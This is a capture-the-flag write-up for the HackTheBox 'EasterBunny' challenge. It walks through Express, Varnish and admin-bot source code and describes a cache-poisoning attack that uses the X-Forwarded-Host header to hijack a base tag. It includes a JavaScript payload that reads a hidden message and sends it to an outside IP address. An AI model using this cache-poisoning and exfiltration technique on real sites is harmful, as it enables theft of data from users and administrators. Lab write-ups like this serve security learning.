HackTheBox - Challenges EasterBunny

07/08/2023 - 2 minutes

cache challenges hacking hackthebox varnish web
  1. 1 Enumeration
  2. 2 Vulnerabilities
  3. 3 The bot
  4. 4 Attack plan
    1. 4.1 Server setup
    2. 4.2 Test request
    3. 4.3 Poisoned request
    4. 4.4 Response

# Enumeration

Dockerfile

FROM node:current-buster

# Install Chrome
RUN apt update \
    && apt install -y wget gnupg \
    && wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add - \
    && sh -c 'echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list' \
    && apt update \
    && apt install -y google-chrome-stable fonts-ipafont-gothic fonts-wqy-zenhei fonts-thai-tlwg fonts-kacst fonts-freefont-ttf libxss1 libxshmfence-dev \
    --no-install-recommends \
    && rm -rf /var/lib/apt/lists/*

# Install varnish & supervisord
RUN apt update \
    && wget -q -O - https://packagecloud.io/varnishcache/varnish60lts/gpgkey | apt-key add - \
    && sh -c 'echo "deb https://packagecloud.io/varnishcache/varnish60lts/debian/ buster main" >> /etc/apt/sources.list.d/varnishcache_varnish60lts.list' \
    && apt update \
    && apt install -y varnish apt-transport-https supervisor \
    && rm -rf /var/lib/apt/lists/*

RUN dd if=/dev/urandom of=/etc/varnish/secret count=1

# Setup varnish and supervisord
COPY ./config/cache.vcl /etc/varnish/default.vcl
COPY ./config/supervisord.conf /etc/supervisor/supervisord.conf

# Setup app
RUN mkdir -p /app

# Add application
WORKDIR /app
COPY --chown=www-data:www-data challenge .

# Install dependencies
RUN yarn

# Expose the port application is reachable on
EXPOSE 80

# Start supervisord
CMD ["/usr/bin/supervisord", "-c", "/etc/supervisor/supervisord.conf"]

The only suspicious thing we can see is the use of varnish for caching

routes.js

const { isAdmin, authSecret } = require("../utils/authorisation");
const express                 = require("express");
const router                  = express.Router({caseSensitive: true});
const visit                   = require("../utils/bot.js");

let db;
let botVisiting = false;

const response = data => ({ message: data });

router.get("/", (req, res) => {
    return res.render("index.html", {
        cdn: `${req.protocol}://${req.hostname}:${req.headers["x-forwarded-port"] ?? 80}/static/`,
    });
});

router.get("/letters", (req, res) => {
    return res.render("viewletters.html", {
        cdn: `${req.protocol}://${req.hostname}:${req.headers["x-forwarded-port"] ?? 80}/static/`,
    });
});

router.post("/submit", async (req, res) => {
    const { message } = req.body;

    if (message) {
        return db.insertMessage(message)
            .then(async inserted => {
                try {
                    botVisiting = true;
                    await visit(`http://127.0.0.1/letters?id=${inserted.lastID}`, authSecret);
                    botVisiting = false;
                }
                catch (e) {
                    console.log(e);
                    botVisiting = false;
                }
                res.status(201).send(response(inserted.lastID));
            })
            .catch(() => {
                res.status(500).send(response('Something went wrong!'));
            });
    }
    return res.status(401).send(response('Missing required parameters!'));
});

router.get("/message/:id", async (req, res) => {
    try {
        const { id } = req.params;
        const { count } = await db.getMessageCount();
        const message = await db.getMessage(id);

        if (!message) return res.status(404).send({
            error: "Can't find this note!",
            count: count
        });

        if (message.hidden && !isAdmin(req))
            return .status(401).send({
                error: "Sorry, this letter has been hidden by the easter bunny's helpers!",
                count: count
            });

        if (message.hidden) res.set("Cache-Control", "private, max-age=0, s-maxage=0 ,no-cache, no-store");

        return res.status(200).send({
            message: message.message,
            count: count,
        });
    } catch (error) {
        console.error(error);
        res.status(500).send({
            error: "Something went wrong!",
        });
    }
});

module.exports = (database) => {
    db = database;
    return router;
};

The flag is in database.js

const sqlite = require("sqlite-async");

class Database {
	constructor(db_file) {
		this.db_file = db_file;
		this.db = undefined;
	}

	async connect() {
		this.db = await sqlite.open(this.db_file);
	}

	async migrate() {
		return this.db.exec(`
            DROP TABLE IF EXISTS messages;

            CREATE TABLE IF NOT EXISTS messages (
                id         INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
                message   VARCHAR(300) NOT NULL,
                hidden    INTEGER NOT NULL
            );

            INSERT INTO messages (id, message, hidden) VALUES
              (1, "Dear Easter Bunny,\nPlease could I have the biggest easter egg you have?\n\nThank you\nGeorge", 0),
              (2, "Dear Easter Bunny,\nCould I have 3 chocolate bars and 2 easter eggs please!\nYours sincerly, Katie", 0),
              (3, "Dear Easter Bunny, Santa's better than you! HTB{f4k3_fl4g_f0r_t3st1ng}", 1),
              (4, "Hello Easter Bunny,\n\nCan I have a PlayStation 5 and a chocolate chick??", 0),
              (5, "Dear Ester Bunny,\nOne chocolate and marshmallow bunny please\n\nLove from Milly", 0),
              (6, "Dear Easter Bunny,\n\nHow are you? Im fine please may I have 31 chocolate bunnies\n\nThank you\nBeth", 0);
            `);
	}

	async getMessage(id) {
		return new Promise(async (resolve, reject) => {
			try {
				let stmt = await this.db.prepare(
					"SELECT * FROM messages WHERE id = ?"
				);
				resolve(await stmt.get(id));
			} catch (e) {
				reject(e);
			}
		});
	}

	async getMessageCount() {
		return new Promise(async (resolve, reject) => {
			try {
				let stmt = await this.db.prepare(
					"SELECT COUNT(*) as count FROM messages"
				);
				resolve(await stmt.get());
			} catch (e) {
				reject(e);
			}
		});
	}

	async insertMessage(message) {
		return new Promise(async (resolve, reject) => {
			try {
				let stmt = await this.db.prepare(
					"INSERT INTO messages (message, hidden) VALUES (?, ?)"
				);
				resolve(await stmt.run(message, false));
			} catch (e) {
				reject(e);
			}
		});
	}
}

module.exports = Database;

on id number 3 which as we can see had the hidden value as 1

Meaning that according tou routes.js we must be admin to view that

if (message.hidden)
	res.set(
		"Cache-Control",
		"private, max-age=0, s-maxage=0 ,no-cache, no-store"
	);

Because of the above we clearly cant catch a cached version of the hidden message, as cache is disabled there.

# Vulnerabilities

base.html contains the below suspicious line

<base href="{{cdn}}" />
cdn: `${req.protocol}://${req.hostname}:${req.headers["x-forwarded-port"] ?? 80}/static/`,

Lets have a look on req.hostname and see how can that be affected https://expressjs.com/en/api.html#req.hostname

When the [`trust proxy` setting](https://expressjs.com/4x/api.html#trust.proxy.options.table) does not evaluate to `false`, this property will instead get the value from the `X-Forwarded-Host` header field. This header can be set by the client or by the proxy.

If there is more than one `X-Forwarded-Host` header in the request, the value of the first header is used. This includes a single header with comma-separated values, in which the first value is used.

Meaning that we control the hostname via the host header and X-Forwarded-Host header

This means that any value we put into the cdn, which is pulled of the req.hostname value will be used as the base for any file requests. This opens up XSS attacks using the base tag

POC of controlling the base tag

The bot visits viewletters.html

{% extends "base.html" %} {% block content %}
<h1 class="title" style="margin: 0">
	Viewing letter #<span id="letter-id">1</span>
</h1>
<h2 class="title" id="error-message" style="visibility: hidden;">&nbsp;</h2>
{% include "letter.html" %}

<div class="letter letter-small">
	<div class="letter-inner letter-inner-small">
		<a href="/">Write New Letter</a>
	</div>
</div>

<div id="previous" class="sign-post">
	<div class="sign-post-text">
		<a href="#">View previous letter</a>
	</div>
</div>

<div id="next" class="sign-post flipped">
	<div class="sign-post-text">
		<a href="#">View next letter</a>
	</div>
</div>

<script src="viewletter.js"></script>
{% endblock %}

Thus our attack vector is

<script src="viewletter.js"></script>

As it will allow us to execute arbitrary javascript requests and fetch the flag as the bot and then send it back.

Now we need to see how we can control that cache, lets look into cache.vcl...

sub vcl_hash {
    hash_data(req.url);

    if (req.http.host) {
        hash_data(req.http.host);
    }
    else {
        hash_data(server.ip);
    }

    return (lookup);
}

Here we see that the request is cached based on req.url and either req.http.host or server.ip

# The bot

routes.js

router.post("/submit", async (req, res) => {
	const { message } = req.body;

	if (message) {
		return db
			.insertMessage(message)
			.then(async (inserted) => {
				try {
					botVisiting = true;
					await visit(
						`http://127.0.0.1/letters?id=${inserted.lastID}`,
						authSecret
					);
					botVisiting = false;
				} catch (e) {
					console.log(e);
					botVisiting = false;
				}
				res.status(201).send(response(inserted.lastID));
			})
			.catch(() => {
				res.status(500).send(response("Something went wrong!"));
			});
	}
	return res.status(401).send(response("Missing required parameters!"));
});

bot.js

const puppeteer = require("puppeteer");

const browser_options = {
	headless: true,
	args: [
		"--no-sandbox",
		"--disable-background-networking",
		"--disable-default-apps",
		"--disable-extensions",
		"--disable-gpu",
		"--disable-sync",
		"--disable-translate",
		"--hide-scrollbars",
		"--metrics-recording-only",
		"--mute-audio",
		"--no-first-run",
		"--safebrowsing-disable-auto-update",
		"--js-flags=--noexpose_wasm,--jitless",
	],
};

const visit = async (url, authSecret) => {
	try {
		const browser = await puppeteer.launch(browser_options);
		let context = await browser.createIncognitoBrowserContext();
		let page = await context.newPage();

		await page.setCookie({
			name: "auth",
			value: authSecret,
			domain: "127.0.0.1",
		});

		await page.goto(url, {
			waitUntil: "networkidle2",
			timeout: 5000,
		});
		await page.waitForTimeout(3000);
		await browser.close();
	} catch (e) {
		console.log(e);
	}
};

module.exports = visit;

The bot is invoked at /submit and makes a request to /letters/LASTID

BUT WAIT, the bot requests 127.0.0.1 meaning that the bot is going to have it's host header to 127.0.0.1, which we also need to emulate for our cache poisoning to work. but if we set the host header to 127.0.0.1 this means that we can't use it for chaning the base tag...

We previously said that we have 2 options of setting the base tag:

  1. Host header
  2. X-Forwarded-Host header But we can't use the host header as it won't match our cache records later when the bot makes the request with 127.0.0.1 as the host

Then our only option is to use the X-Forwarded-Host header in addition to the Host header

# Attack plan

  1. Set the host header to 127.0.0.1
  2. Set the X-Forwarded-Host header to our controlled server which hosts viewletter.js
  3. Visit /letters?id=X once to make the server cache the request
  4. Submit a message to /submit/ which will make the bot visit the page we previously poisoned

# Server setup

/static/viewletter.js

fetch("http://127.0.0.1/message/3", { mode: "no-cors" })
	.then((response) => response.text())
	.then((data) => {
		fetch("http://185.14.45.77?flag=" + data, { mode: "no-cors" });
	});

The above will fetch message number 3 and forward the reponse to our attacker controlled server.

# Test request

We know that the bot is currently on message number 7

So lets poison number 8

# Poisoned request

And then request /submit again and wait for our code to be executed

# Response